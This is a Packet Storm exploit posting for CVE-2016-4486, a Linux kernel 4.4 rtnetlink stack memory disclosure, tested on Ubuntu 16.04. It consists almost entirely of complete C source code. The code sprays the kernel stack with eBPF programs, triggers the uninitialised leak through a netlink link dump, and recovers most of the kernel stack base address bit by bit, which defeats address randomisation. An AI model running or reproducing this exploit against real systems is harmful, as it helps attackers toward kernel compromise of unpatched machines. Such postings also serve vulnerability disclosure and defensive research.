Lucene search

K
packetstormJinbum ParkPACKETSTORM:150840
HistoryDec 19, 2018 - 12:00 a.m.

Linux Kernel 4.4 rtnetlink Stack Memory Disclosure

2018-12-1900:00:00
Jinbum Park
packetstormsecurity.com
43

0.0004 Low

EPSS

Percentile

8.4%

`/*  
* [ Briefs ]   
* - CVE-2016-4486 has discovered and reported by Kangjie Lu.  
* - This is local exploit against the CVE-2016-4486.  
*  
* [ Tested version ]  
* - Distro : Ubuntu 16.04  
* - Kernel version : 4.4.0-21-generic  
* - Arch : x86_64  
*  
* [ Prerequisites ]  
* - None  
*  
* [ Goal ]  
* - Leak kernel stack base address of current process by exploiting CVE-2016-4486.  
*  
* [ Exploitation ]  
* - CVE-2016-4486 leaks 32-bits arbitrary kernel memory from uninitialized stack.  
* - This exploit gets 61-bits stack base address among the 64-bits full address.  
* remaining 3-bits is not leaked because of limitation of ebpf.  
* - Full exploitation are performed as follows.  
*  
* 1. Spraying kernel stack as kernel stack address via running ebpf program.  
* - We can spray stack up to 512-bytes by running ebpf program.  
* - After this step, memory to be leaked will be filled with kernel stack address.  
* 2. Trigger CVE-2016-4486 to leak 4-bytes which is low part of stack address.  
* - After this step, stack address : 0xffff8800????????; (? is unknown address yet.)  
* 3. Leak high 4-bytes of stack address. The leaking is done as one-by-one bit. why one-by-one?  
* - CVE-2016-4486 allows to leak 4-bytes only, so that we always get low 4-bytes of stack address.  
* - Then, How to overcome this challenge?? The one of possible answer is that  
* do operation on high-4bytes with carefully selected value which changes low-4bytes.  
* For example, Assume that real stack address is 0xffff880412340000;  
* and, do sub operation. ==> 0xffff880412340000 - 0x0000000012360000 (selected value);  
* The result will be "0xffff8803....." ==> Yap! low 4-bytes are changed!! and We can see this!  
* The result makes us to know that high 4-bytes are smaller than 0x12360000;  
* Then, We can keep going with smaller value.  
* - The algorithm is quite similar to quick-search.  
* 4. Unfortunately, ebpf program limitation stops us to leak full 64-bits.  
* - 3-bits (bit[16], bit[15], bit[14]) are not leaked.  
* - But, Since 3-bit is not sufficient randomness, It's very valuable for attacker.  
* Bonus) Why do I use compat_sendmsg() instead of normal sendmsg()?  
* - When I did spraying stack with normal sendmsg(), I couldn't spray up to memory to be leaked.  
* - If I use compat-sendmsg(), The execution path will be different from normal sendmsg().  
* This makes me to spray it more far.  
*  
* [ Run exploit ]  
* - $ gcc poc.c -o poc  
* - $ ./poc  
* ....  
* ....  
* leak stack address range :  
* -----from : ffff88007f7e0000  
* --------to : ffff88007f7fc000  
* (Since we can get 61-bit address, Print the possible address range out.)  
*  
* [ Contact ]  
* - [email protected]  
* - github.com/jinb-park  
*/  
  
#include <asm/types.h>  
#include <linux/netlink.h>  
#include <linux/rtnetlink.h>  
#include <sys/socket.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <errno.h>  
#include <string.h>  
#include <unistd.h>  
#include <stdint.h>  
#include <sys/syscall.h>  
#include <asm/unistd_64.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
#include <sys/mman.h>  
#include <sys/ioctl.h>  
#include <linux/bpf.h>  
#include <linux/filter.h>  
  
#define GPLv2 "GPL v2"  
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))  
  
#define INTERFACE_INDEX (0)  
#define LEAK_OFFSET (28)  
  
/*  
* BPF-based stack sprayer  
*/  
/* registers */  
/* caller-saved: r0..r5 */  
#define BPF_REG_ARG1 BPF_REG_1  
#define BPF_REG_ARG2 BPF_REG_2  
#define BPF_REG_ARG3 BPF_REG_3  
#define BPF_REG_ARG4 BPF_REG_4  
#define BPF_REG_ARG5 BPF_REG_5  
#define BPF_REG_CTX BPF_REG_6  
#define BPF_REG_FP BPF_REG_10  
  
#define BPF_MOV32_REG(DST, SRC) \  
((struct bpf_insn) { \  
.code = BPF_ALU | BPF_MOV | BPF_X, \  
.dst_reg = DST, \  
.src_reg = SRC, \  
.off = 0, \  
.imm = 0 })  
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \  
((struct bpf_insn) { \  
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\  
.dst_reg = DST, \  
.src_reg = SRC, \  
.off = OFF, \  
.imm = 0 })  
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \  
((struct bpf_insn) { \  
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \  
.dst_reg = DST, \  
.src_reg = 0, \  
.off = OFF, \  
.imm = IMM })  
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \  
((struct bpf_insn) { \  
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\  
.dst_reg = DST, \  
.src_reg = SRC, \  
.off = OFF, \  
.imm = 0 })  
#define BPF_STX_ADD_MEM(SIZE, DST, SRC, OFF) \  
((struct bpf_insn) { \  
.code = BPF_STX | BPF_XADD | BPF_SIZE(SIZE),\  
.dst_reg = DST, \  
.src_reg = SRC, \  
.off = OFF, \  
.imm = 0 })  
#define BPF_MOV64_IMM(DST, IMM) \  
((struct bpf_insn) { \  
.code = BPF_ALU64 | BPF_MOV | BPF_K, \  
.dst_reg = DST, \  
.src_reg = 0, \  
.off = 0, \  
.imm = IMM })   
#define BPF_EXIT_INSN() \  
((struct bpf_insn) { \  
.code = BPF_JMP | BPF_EXIT, \  
.dst_reg = 0, \  
.src_reg = 0, \  
.off = 0, \  
.imm = 0 })  
#define BPF_MOV64_REG(DST, SRC) \  
((struct bpf_insn) { \  
.code = BPF_ALU64 | BPF_MOV | BPF_X, \  
.dst_reg = DST, \  
.src_reg = SRC, \  
.off = 0, \  
.imm = 0 })  
#define BPF_ALU64_IMM(OP, DST, IMM) \  
((struct bpf_insn) { \  
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \  
.dst_reg = DST, \  
.src_reg = 0, \  
.off = 0, \  
.imm = IMM })  
#define BPF_ALU64_REG(OP, DST, SRC) \  
((struct bpf_insn) { \  
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \  
.dst_reg = DST, \  
.src_reg = SRC, \  
.off = 0, \  
.imm = 0 })  
  
int bpf_(int cmd, union bpf_attr *attrs)  
{  
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));  
}  
  
int prog_load(struct bpf_insn *insns, size_t insns_count)  
{  
char verifier_log[100000];  
union bpf_attr create_prog_attrs = {  
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,  
.insn_cnt = insns_count,  
.insns = (uint64_t)insns,  
.license = (uint64_t)GPLv2,  
.log_level = 1,  
.log_size = sizeof(verifier_log),  
.log_buf = (uint64_t)verifier_log  
};  
int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);  
int errno_ = errno;  
errno = errno_;  
if (progfd == -1) {  
printf("bpf prog load error\n");  
exit(-1);  
}  
return progfd;  
}  
  
int create_socket_by_socketpair(int *progfd)  
{  
int socks[2];  
if (socketpair(AF_UNIX, SOCK_SEQPACKET, 0, socks)) {  
printf("socketpair error\n");  
exit(-1);  
}  
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, progfd, sizeof(int))) {  
printf("setsockopt error\n");  
exit(-1);  
}  
return socks[1];  
}  
  
int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count)  
{  
int progfd = prog_load(insns, insns_count);  
return create_socket_by_socketpair(&progfd);  
}  
  
#define NR_sendmsg_32 370 // for 32-bit  
  
typedef unsigned int compat_uptr_t;  
typedef int compat_int_t;  
typedef unsigned int compat_size_t;  
typedef unsigned int compat_uint_t;  
  
struct compat_msghdr {  
compat_uptr_t msg_name; /* void * */  
compat_int_t msg_namelen;  
compat_uptr_t msg_iov; /* struct compat_iovec * */  
compat_size_t msg_iovlen;  
compat_uptr_t msg_control; /* void * */  
compat_size_t msg_controllen;  
compat_uint_t msg_flags;  
};  
struct compat_iovec {  
compat_uptr_t iov_base;  
compat_size_t iov_len;  
};  
  
int sendmsg_by_legacy_call(int fd, unsigned int msg, int flags)  
{  
int r = -1;  
  
asm volatile (  
"push %%rax\n"  
"push %%rbx\n"  
"push %%rcx\n"  
"push %%rdx\n"  
"push %%rsi\n"  
"push %%rdi\n"  
"mov %1, %%eax\n"  
"mov %2, %%ebx\n"  
"mov %3, %%ecx\n"  
"mov %4, %%edx\n"  
"int $0x80\n"  
"mov %%eax, %0\n"  
"pop %%rdi\n"  
"pop %%rsi\n"  
"pop %%rdx\n"  
"pop %%rcx\n"  
"pop %%rbx\n"  
"pop %%rax\n"  
: "=r" (r)  
: "r"(NR_sendmsg_32), "r"(fd), "r"(msg), "r"(flags)  
: "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi"  
);  
  
return r;  
}  
  
#define COMPAT_SENDMSG  
void trigger_proc(int sockfd)  
{  
#ifdef COMPAT_SENDMSG  
struct compat_msghdr *msg = NULL;  
struct compat_iovec *iov = NULL;  
#else  
struct msghdr *msg = NULL;  
struct iovec *iov = NULL;  
#endif  
char *buf = NULL;  
int r;  
  
// allocate under-32-bit address for compat syscall  
msg = mmap(0x70000, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);  
if (msg == MAP_FAILED) {  
printf("mmap error : %d, %s\n", errno, strerror(errno));  
exit(0);  
}  
buf = mmap(0x90000, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);  
if (buf == MAP_FAILED) {  
printf("mmap error : %d, %s\n", errno, strerror(errno));  
exit(0);  
}  
iov = mmap(0xb0000, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);  
if (buf == MAP_FAILED) {  
printf("mmap error : %d, %s\n", errno, strerror(errno));  
exit(0);  
}  
  
#ifdef COMPAT_SENDMSG  
iov->iov_base = (compat_uptr_t)buf;  
#else  
iov->iov_base = buf;  
#endif  
iov->iov_len = 128;  
msg->msg_name = NULL;  
msg->msg_namelen = 0;  
#ifdef COMPAT_SENDMSG  
msg->msg_iov = (compat_uptr_t)iov;  
#else  
msg->msg_iov = iov;  
#endif  
msg->msg_iovlen = 1;  
msg->msg_control = NULL;  
msg->msg_controllen = 0;  
msg->msg_flags = 0;  
  
#ifdef COMPAT_SENDMSG  
r = sendmsg_by_legacy_call(sockfd, (unsigned int)msg, 0);  
#else  
r = sendmsg(sockfd, msg, 0);  
#endif  
if (r < 0) {  
printf("sendmsg error, %d, %s\n", errno, strerror(errno));  
exit(-1);  
}  
}  
  
int sockfds = -1;  
  
void stack_spraying_by_bpf(unsigned long val)  
{  
int r;  
  
struct bpf_insn stack_spraying_insns[] = {  
BPF_MOV64_REG(BPF_REG_3, BPF_REG_FP),  
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -val),  
  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -368),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -376),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -384),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -392),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -400),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -408),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -416),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -424),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -432),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -440),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -448),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -456),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -464),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -472),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -480),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -488),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -496),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -504),  
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -512),  
  
BPF_MOV64_IMM(BPF_REG_0, 0),  
BPF_EXIT_INSN()  
};  
  
sockfds = create_filtered_socket_fd(stack_spraying_insns, ARRSIZE(stack_spraying_insns));  
if (sockfds < 0)  
return;  
  
trigger_proc(sockfds);  
close(sockfds);  
//sleep(1);  
}  
  
/*  
28byte, 32byte including padding  
struct rtnl_link_ifmap {  
__u64 mem_start;  
__u64 mem_end;  
__u64 base_addr;  
__u16 irq;  
__u8 dma;  
__u8 port;  
};*/  
  
// rtnl_fill_link_ifmap <-- rtnl_fill_ifinfo (symbol)  
  
struct {  
struct nlmsghdr nh;  
struct ifinfomsg ifm;  
char attrbuf[512];  
} req;  
  
// Ubuntu 4.4.0-21-generic  
#define RANGE_MIN_MASK ~((1<<16) | (1<<15) | (1<<14)) // and  
#define RANGE_MAX_MASK ((1<<16) | (1<<15) | (1<<14)) // or  
  
int main(int argc, char **argv)  
{  
unsigned char buf[65535];  
unsigned char map_buf[36] = {0,};  
struct nlmsghdr *nl_msg_ptr;  
struct ifinfomsg *inf_msg_ptr;  
struct rtnl_link_ifmap *map_ptr;  
struct rtattr *rta_ptr;  
int size, len, attr_len, offset;  
int progfd;  
unsigned int sub_val = 0;  
unsigned int leak_value;  
unsigned long leak_full_stack = 0;  
unsigned int low_stack = 0;  
int i;  
  
for (i=0; i<16; i++) {  
int rtnetlink_sk = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE);  
  
memset(&req, 0, sizeof(req));  
  
req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));  
req.nh.nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST;  
req.nh.nlmsg_type = RTM_GETLINK;  
req.nh.nlmsg_seq = 1;  
  
req.ifm.ifi_family = AF_UNSPEC;  
req.ifm.ifi_index = INTERFACE_INDEX;  
req.ifm.ifi_change = 0xffffffff;  
  
if (i == 0)  
sub_val = 0;  
else  
sub_val += (1 << (32 - i));  
  
stack_spraying_by_bpf((unsigned long)sub_val);  
if (send(rtnetlink_sk, &req, req.nh.nlmsg_len, 0) < 0) {  
printf("send error\n");  
goto out;  
}  
  
while (1) {  
if ((size = recv(rtnetlink_sk, buf, sizeof(buf), 0)) < 0) {  
fprintf(stderr, "ERROR recv(): %s\n", strerror(errno));  
goto out;  
}  
  
for (nl_msg_ptr = (struct nlmsghdr *)buf; size > (int)sizeof(*nl_msg_ptr);) {  
len = nl_msg_ptr->nlmsg_len;  
  
if (nl_msg_ptr->nlmsg_type == NLMSG_ERROR) {  
printf("NLMSG_ERROR\n");  
goto out;  
}  
else if (nl_msg_ptr->nlmsg_type == NLMSG_DONE)  
break;  
  
if (!NLMSG_OK(nl_msg_ptr, (unsigned int)size)) {  
printf("Not OK\n");  
goto out;  
}  
  
attr_len = IFLA_PAYLOAD(nl_msg_ptr);  
inf_msg_ptr = (struct ifinfomsg *)NLMSG_DATA(nl_msg_ptr);  
rta_ptr = (struct rtattr *)IFLA_RTA(inf_msg_ptr);  
  
for (; RTA_OK(rta_ptr, attr_len); rta_ptr = RTA_NEXT(rta_ptr, attr_len)) {  
if (rta_ptr->rta_type == IFLA_MAP) {  
if (rta_ptr->rta_len != sizeof(map_buf)) {  
printf("wrong size\n");  
goto out;  
}  
  
memcpy(map_buf, RTA_DATA(rta_ptr), sizeof(map_buf));  
map_ptr = &map_buf;  
leak_value = *(unsigned int *)(map_buf + LEAK_OFFSET);  
printf("leak_value : %08x\n", leak_value);  
break;  
}  
}   
  
size -= NLMSG_ALIGN(len);  
nl_msg_ptr = (struct nlmsghdr *)((char *)nl_msg_ptr + NLMSG_ALIGN(len));  
}  
  
break;  
}  
  
if (low_stack == 0)  
low_stack = leak_value;  
else  
if (leak_value != low_stack)  
sub_val &= (~(1 << (32 - i))); // clear bit  
  
memcpy((unsigned char *)&leak_full_stack + 4, &low_stack, 4);  
memcpy((unsigned char *)&leak_full_stack, &sub_val, 4);  
printf("[try-%d] stack address : %lx\n", i, leak_full_stack);  
out:  
close(rtnetlink_sk);  
}  
  
printf("=======================================================================\n");  
printf("leak stack address range : \n");  
printf("-----from : %lx\n", leak_full_stack & RANGE_MIN_MASK);  
printf("--------to : %lx\n", leak_full_stack | RANGE_MAX_MASK);  
printf("======================================================================\n");  
  
return 0;  
}  
  
`